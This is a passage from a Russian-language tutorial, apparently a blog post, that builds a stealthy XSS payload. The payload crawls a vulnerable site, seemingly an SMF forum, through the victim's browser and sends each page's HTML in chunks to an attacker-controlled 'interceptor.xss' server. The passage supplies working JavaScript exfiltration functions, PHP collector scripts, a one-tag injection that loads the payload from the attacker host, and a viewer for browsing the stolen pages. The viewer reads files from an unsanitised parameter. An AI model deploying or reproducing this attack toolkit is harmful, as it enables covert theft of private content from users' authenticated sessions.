На  данный момент выполнена лишь половина всей работы. Очередь за отправкой  данных на сторону сервера, который подконтролен атакующему. Здесь,  опять же, есть 2 варианта действий. Во-первых, можно создать на странице  невидимый iframe, через изменение его html-кода создать внутри него  форму, направленную на нужный сервер, заполнить необходимыми данными  (код страницы, её URL) и отправить методом POST. А можно сделать эту же  операцию, но с помощью JS-класса Image(). То есть создавать для каждой  страницы изображение, указывать в его свойстве src путь к серверу, и в  этот путь ещё помещать данные для передачи типа&lt;br /&gt;
http://interceptor.com/log.php?url=...&amp;amp;code=... &lt;br /&gt;
На  самом деле первый вариант только кажется простым. При его реализации  возникает множество проблем. Например отправив первую форму нужно снова  очистить iframe и «нарисовать» вторую, что нельзя будет сделать из-за  Same Orign Policy, ведь в нём уже будут данные с другого сервера. Можно  конечно изменить src на адрес принадлежащий целевому домену, дождаться  загрузки и взяться менять код уже тогда, но это целая куча действий,  которых в случае с Image() можно вообще не производить. Поэтому мы всё  сделаем именно с помощью этого JS-класса. &lt;br /&gt;
Здесь стоит  остановиться и вспомнить про то, что при передаче исходных кодов в URL  можно нарваться на ошибку «414 Request-URL Too Long». Чтоб такого не  произошло, мы будем слать код на сервер по частям. То есть делать  несколько запросов под ряд. А количество символов передаваемого за раз  кода обозначим в соответствующей глобальной переменной.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;var transferCodeLen = 1000;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
На  стандартной конфигурации Apache этого числа вполне достаточно. И теперь  опишем саму функцию передачи данных. Она будет принимать url  передаваемой страницы (чтоб на сервере можно было связать принимаемый  код с отдельной ссылкой) и её html-код. &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;function sendToInterceptor(url, html) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var img = new Image;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; do {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  img.src = &quot;http://interceptor.xss/intercept.php?url=&quot; + escape(url) +  &quot;&amp;amp;html=&quot; + escape(html.substr(0, transferCodeLen));&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; html = html.substr( transferCodeLen );&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } while ( html.length &amp;gt; 0 );&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Как  видите, всё до безобразия просто — режем код на куски и, пока он не  кончится, по очереди запрашиваем получившиеся URL на  сервере-перехватчике.&lt;br /&gt;
Теперь займёмся скриптом intercept.php. Он  будет делать простейшую вещь — принимать 2 уже известных вам параметра,  записывать ссылку в ./urls.txt (там будут собираться адреса всех  принятых ссылок), а html-содержимое вносить в файл ./pages/md5-хеш-url. &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$url&amp;nbsp; = urldecode($_GET[&#39;url&#39;]);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$hash = md5($url);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;file_put_contents(&quot;./pages/$hash&quot;, urldecode($_GET[&#39;html&#39;]), FILE_APPEND);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;file_put_contents(&quot;./urls.txt&quot;, $url . &quot;\n&quot;, FILE_APPEND);&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Обратите  внимание на то, что содержимое страниц постоянно дозаписывается. То  есть перед каждым полностью новым запуском атаки нужно будет очищать  содержимое папки pages. &lt;br /&gt;
Вернёмся к JS. Вызов функции  sendToInterceptor() необходимо поместить прямо после окончания  while-цикла обработки ссылок. Когда он закончился самое время отправить  полученный html-код перехватчику т.&amp;nbsp;к. далее произойдёт проверка  следующего адреса. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Серверная часть. Сохранение результатов.&lt;/b&gt;&lt;br /&gt;
Следующий  этап — сохранение состояния сканирования и последующее к нему  возвращение. Вы же помните что в самом начале мы объявляли переменную  limit, призванную сделать работу нашего кода практически незаметной?  Естественно когда пользователь зайдёт на данную страницу ещё раз (то  есть снова вызовет наш код) мы должны продолжить сканирование именно с  того места, где остановились в прошлый раз. Следовательно, нам нужно  как-то передать на сторону клиента старые массивы links и checked.  Последний мы уже можем передавать т.&amp;nbsp;к. его содержимое это фактически  содержимое файла ./urls.txt. А вот первым сейчас и займёмся. Для этого  напишем функцию report(). Она объединит всё содержимое links в одну  строку, и уже знакомым нам методом передаст на сервер. &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;function report() {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; links&amp;nbsp;&amp;nbsp; = escape(links.join(&quot;|||&quot;));&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var img = new Image;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; do {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; img.src = &quot;http://interceptor.xss/command.php?act=save&amp;amp;links=&quot; + links.substr(0, transferCodeLen);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; links = links.substr( transferCodeLen );&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } while ( links.length &amp;gt; 0 );&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Её вызов нужно поместить в parseNextLink(), как раз перед единственным «return;» останавливающем всю работу. &lt;br /&gt;
Теперь  возьмёмся за скрипт command.php. Он будет выполнять такие действия как  сохранение материала и отдача клиенту данных прошлого сканирования.  Сохранение происходит крайне просто:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;switch($_GET[&#39;act&#39;]) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; case &#39;save&#39;:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $links = urldecode($_GET[&#39;links&#39;]);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; file_put_contents(&quot;./links.txt&quot;, $links, FILE_APPEND);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
А  вот над выдачей старых данных придётся немного поработать. Из основного  кода уберём объявление массивов links и checked, и заменим их  script-тегом, обращающимся к interceptor.xss.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://interceptor.xss/command.php?act=get&quot;&amp;gt;&amp;lt;/script&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
В  command.php, в случае приёма «get», считаем данные из urls.txt и  links.txt, превратим их в массивы, переведём в JSON и выведем на экран,  предварительно подписав в начале «var имя-переменной =»&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;if(file_exists(&quot;./links.txt&quot;) AND filesize(&quot;./links.txt&quot;) &amp;gt; 0) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $links = file_get_contents(&quot;./links.txt&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $links = explode(&quot;|||&quot;, $links);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $links = json_encode($links);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;} else $links = &quot;[]&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;print &quot;var links = $links;&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;if(file_exists(&quot;./urls.txt&quot;) AND filesize(&quot;./urls.txt&quot;) &amp;gt; 0) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $checked = file(&quot;./urls.txt&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $checked = array_map(&#39;trim&#39;, $checked);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $checked = json_encode($checked);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;} else $checked = &quot;[]&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;print &quot;var checked = $checked;&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Возможно вас смутят строки типа &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;} else $links = &quot;[]&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Я тоже сначала подумал что можно через json_encode() прогнать пустой массив и получится что-то типа &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;var links = [];&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Но это не так. Получается &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;var links = [&quot;&quot;];&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
А  эта пустая ячейка только создаст нам проблем. И в конце этого кода  необходимо очистить ./links.txt, ведь скоро придёт новая партия ссылок и  они будут уже совсем другими.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;file_put_contents(&quot;./links.txt&quot;, &quot;&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
В  возвращении списка проверенных ссылок есть один нюанс. Функция  parseNextLink() проверяет достижение лимита именно по количеству записей  в checked. А как только сканирование пойдёт второй раз (checked уже  будет иметь количество ссылок размером в лимит) лимит нам необходимо  будет увеличить, чтоб работа сразу же не остановилась. Поэтому в начало  кода, после описания переменной limit, добавим вот такую строку:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;limit = checked.length + limit;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Вы  наверное уже догадались что с ./urls.txt необходимо тоже что-то делать.  Там постоянно будут скапливаться повторяющиеся URL. Ими мы займёмся в  самом конце, когда содержимое links уже будет сохранено. Для этого  отведём отдельную ячейку нашего основного switch, которая будет  выполнятся если в параметре «act» будет передано слово «end».&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;if(file_exists(&quot;./urls.txt&quot;) AND filesize(&quot;./urls.txt&quot;) &amp;gt; 0) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $urls = file(&quot;./urls.txt&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $urls = array_map(&#39;trim&#39;, $urls);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $urls = array_unique($urls);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; file_put_contents(&quot;./urls.txt&quot;, implode(&quot;\n&quot;, $urls));&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
А вызов всего этого поместим в конце уже описанной функции report():&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;img.src = &quot;http://interceptor.xss/command.php?act=end&quot;; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Итак.  Основная часть работы полностью закончена. Что у нас есть? При первом  обращении клиент начинает новое сканирование, стартовыми ссылками при  котором являются те, что расположены на уязвимой странице. В процессе  сканирования на сервер-перехватчик передаётся содержимое всех страниц к  которым он обращается. В конце серверу отправляются ссылки которые  стояли в очереди, но из-за достижения лимита не смогли быть проверены.  При последующих просмотрах уязвимой страницы сканирование уже будет  продолжаться с того места, где оно закончилось в прошлый раз. &lt;br /&gt;
На  данный момент у нас имеется полностью рабочий вариант кода позволяющего  записывать содержимое страниц получаемых от чужого лица (или, правильнее  сказать, от чужого браузера). Остаётся только один небольшой штрих.  Чтоб XSS-вставка не растягивалась на один script-тег и огромный кусок  JS-кода, мы поместим его на сервер intercept.xss, в файл /static.js, а  при запросе действия «get», сразу после вывода содержимого двух основных  массивов, добавим строку &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;readfile(&quot;./static.js&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Теперь XSS-вставка на уязвимой странице состоит только из одного script-тега, что вполне приемлемо для реальных условий.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Серверная часть. Просмотр результатов. &lt;/b&gt;&lt;br /&gt;
Наконец  перейдём к визуализации всего что получено нашим скриптом. Выглядеть  это будет так. При обращении к определённому скрипту (назовём его  view.php) будет отображаться страница с двумя фреймами, в первом из  которых будет расположен список доступных ссылок, а во втором по мере  запросов будет отображаться их содержимое. Основу view.php будет  составлять массив шаблонов, хранящий в себе все необходимые  html-конструкции, и одна switch-конструкция, которая в зависимости от  значения параметра «act» будет выполнять те или иные действия. Если  этого параметра не будет передано вообще, то скрипт отобразит набор  фреймов.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$tpl = array();&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$tpl[&#39;up&#39;] = &amp;lt;&amp;lt;&amp;lt;HTML&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp; &amp;lt;head&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;title&amp;gt;Просмотр страниц&amp;lt;/title&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp; &amp;lt;/head&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;HTML;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$tpl[&#39;down&#39;] = &amp;lt;&amp;lt;&amp;lt;HTML&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;HTML;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$tpl[&#39;frames&#39;] = &amp;lt;&amp;lt;&amp;lt;HTML&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {$tpl[&#39;up&#39;]}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;frameset cols=&quot;350,*&quot;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;frame src=&quot;/view.php?act=menu&quot; name=&quot;leftFrame&quot; scrolling=&quot;yes&quot;/&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;frame src=&quot;/view.php?act=blank&quot; name=&quot;mainFrame&quot; /&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/frameset&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {$tpl[&#39;down&#39;]}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;HTML;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$act = isset($_GET[&#39;act&#39;]) ? $_GET[&#39;act&#39;] : &#39;&#39;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;switch($act) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; default:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print $tpl[&#39;frames&#39;];&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Если в «act» будет передано «menu» мы считаем все ссылки из urls.txt и выведем их по отдельному шаблону.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$urls = file(&quot;./urls.txt&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;foreach(array_map(&#39;trim&#39;, $urls) as $url)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf($tpl[&#39;url&#39;], md5($url), $url);&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Сам шаблон:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$tpl[&#39;url&#39;] = &amp;lt;&amp;lt;&amp;lt;HTML&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;a href=&quot;/view.php?act=view&amp;amp;page=%s&quot; target=&quot;mainFrame&quot; style=&quot;font-size:10px;&quot;&amp;gt;%s&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;HTML;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
В  шаблоне фреймов видно что есть ещё и вариант параметра «act» с  содержимым «blank». Это начальная страница нашего просмотрщика. Вот её  шаблон:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$tpl[&#39;blank&#39;] = &amp;lt;&amp;lt;&amp;lt;HTML&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {$tpl[&#39;up&#39;]}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;body&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Выберите URL для просмотра&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/body&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {$tpl[&#39;down&#39;]}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;HTML;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
и код&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;print $tpl[&#39;blank&#39;];&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ну  и самый последний шаг — просмотр перехваченных страниц. Здесь всё  достаточно тривиально. Выше вы видели что при открытии страницы скрипту  передаётся её хеш. То есть для начала нам нужно просто получить  содержимое одного файла из директории pages.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$content = file_get_contents(&quot;./pages/&quot; . $_GET[&#39;page&#39;]);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$content = stripslashes($content); // Удаляем слеши оставленные escape()&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Затем  следует один интересный момент. Мы заменим в этом коде ссылки имеющиеся  у нас в ./urls.txt на ссылки к скрипту view.php. Это сильно улучшит  навигацию по перехваченному контенту, ведь искать каждый раз  интересующую вас ссылку в левом меню довольно надоедливое занятие. А так  вы сможете просто кликнуть по ней как будто вы работаете  непосредственно с атакованным приложением.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$urls = file(&quot;./urls.txt&quot;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;foreach(array_map(&#39;trim&#39;, $urls) as $url)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $content = str_replace(&quot;\&quot;$url\&quot;&quot;, &quot;/view.php?act=view&amp;amp;page=&quot; . md5($url), $content);&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Стоит  остановиться на кавычках в первом аргументе str_replace(). В нашем  случае они двойные т.&amp;nbsp;к. в ссылках SMF содержимое параметра «href»  обрамляется именно ими. В других случаях кавычки могут быть одинарные,  или их вообще может не быть. Если же производить замену без их учёта,  просто меняя один URL на другой, то можно столкнуться с ситуацией, когда  у вас в ссылках замене подвергнется лишь часть. Например ссылка &lt;br /&gt;
http://site.com/index.php?a=1&amp;amp;b=2 &lt;br /&gt;
будет «изломана» view.php-аналогом ссылки&lt;br /&gt;
http://site.com/index.php?a=1&lt;br /&gt;
Поэтому данный фрагмент кода, как и некоторые описанные до этого, требуют подгонки под конкретное приложение. &lt;br /&gt;
И  теперь завершающий штрих, опять же, улучшающий навигацию. Мы вновь  обратимся к jQuery. Будем подключать его к каждой отображаемой странице,  а следом за ним выведем код, который все ссылки, не содержащие фразу  «view.php?act=view», перечеркнёт. Таким образом мы сразу будем видеть те  ссылки, содержимым которых мы владеем. &lt;br /&gt;
Вот html-шаблон:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$tpl[&#39;links-script&#39;] = &amp;lt;&amp;lt;&amp;lt;HTML&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script type=&quot;text/javascript&quot; src=&quot;/jquery-1.6.1.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script type=&#39;text/javascript&#39;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $(&#39;a&#39;).each(function(){&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(this.href.indexOf(&#39;view.php?act=view&#39;) == -1) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $(this).css(&#39;text-decoration&#39;, &#39;line-through&#39;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;HTML;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
А вод код, которым должно кончаться действие view:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;print &quot;$content\n{$tpl[&#39;links-script&#39;]}&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Пример того что получается в итоге:&lt;br /&gt;
&lt;br /&gt;
